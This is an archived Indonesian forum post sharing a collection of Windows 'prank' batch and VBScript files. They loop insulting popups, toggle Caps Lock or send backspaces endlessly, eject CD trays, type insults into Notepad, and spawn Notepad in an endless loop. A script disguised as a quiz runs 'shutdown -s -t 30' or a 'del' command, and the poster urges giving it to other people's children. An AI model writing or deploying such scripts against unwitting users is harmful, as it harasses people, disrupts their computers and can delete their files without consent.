Ceriwis

Ceriwis (https://forum.ceriwis.com/forum.php)
-   Shareware & Freeware (https://forum.ceriwis.com/forumdisplay.php?f=64)
-   -   [share] kumpulan script jahil (https://forum.ceriwis.com/showthread.php?t=2474806)

Syahrani10 24th October 2012 03:17 PM

[share] kumpulan script jahil
 
MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS:


[/quote]
Quote:






@ECHO off

:Begin

msg * muka lo jelek

msg * ngaca dulu gih

msg * hayo lo,cpu lu gw acak2

msg * ud install ulang aja

msg * biar masalah nya kelar

GOTO BEGIN





==> save nama script diatas dg ekstensi *.bat










BIKIN SHUTDOWN + MESSAGES:


Quote:






Set wshShell

=wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop





==> save nama script diatas dg ekstensi *.vbs





BUKA TUTUP CD/DVD SECARA OTOMATIS:


Quote:






Set oWMP = CreateObject

("WMPlayer.OCX.7")

Set colCDROMs =

oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop





==> save nama script diatas dg ekstensi *.vbs





BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS:


Quote:






MsgBox "kembali ke menu

sebelumnya"

Set wshShell

=wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop





==> save nama script diatas dg ekstensi *.vbs





OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD:


Quote:






Set wshShell =

wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "lu jelek

banget sih!!!"

loop





==> save nama script diatas dg ekstensi *.vbs





MEMBUKA NOTEPAD TERUS MENERUS:


Quote:






@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top





==> save nama script diatas dg ekstensi *.BAT





OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU":


Quote:






WScript.Sleep 1800

WScript.Sleep 100

Set WshShell =

WScript.CreateObject

("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 10

WshShell.AppActivate "Notepad"

WScript.Sleep 50

WshShell.SendKeys "ka"

WScript.Sleep 50

WshShell.SendKeys "mu "

WScript.Sleep 50

WshShell.SendKeys "je"

WScript.Sleep 50

WshShell.SendKeys "le"

WScript.Sleep 50

WshShell.SendKeys "k "

WScript.Sleep 50

WshShell.SendKeys " se"

WScript.Sleep 50

WshShell.SendKeys "ka"

WScript.Sleep 50

WshShell.SendKeys "li"

WScript.Sleep 50

WshShell.SendKeys " y"

WScript.Sleep 50

WshShell.SendKeys "a"

WScript.Sleep 50

WshShell.SendKeys " h"

WScript.Sleep 50

WshShell.SendKeys "!"

WScript.Sleep 50

WshShell.SendKeys "!! "





==> save nama script diatas dg ekstensi *.vbs





BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2:


Quote:






@echo off

title quiz hari ini :)

:menu

cls

echo jika kamu kena virus apa

yang kamu lakukan

pause

echo pilih yang mana:

echo 1. matiin computer

echo 2. format aja

echo 3. bingung ahh

set input=nothing

set /p input=Choice:

if %input%==1 shutdown -s -t

30

if %input%==2 del c:\xxx

if %input%==3 @ECHO off

msg * muka lo rusak

msg * ngaca dulu gih

msg * hayo lo,cpu lu gw acak2

msg * ud install ulang aja

msg * biar masalah nya kelar

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top





==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang...






[quote]





Cara menjalankan program jahil tersebut adalah dengan klik 2x pada file notepad yang anda buat tadi

cara untuk menghentikan script tersebut adalah sbb : buka task manager(CTRL+ALT+DEL)�>applications�>Lihat aplikasi yang dijalankan td�>klik kanan�>Go To Process�>end process pada baris yang disorot





sumber: http://www.gururu*paindonesia...com/...n-script-jahil




[/spoiler][spoiler=open this] for TS:




kalau yang ISO kasih :melonndan:, yang belum ISO kasih :rate5 aja :D









maap kalau :repost: :D

</div>


All times are GMT +7. The time now is 01:55 PM.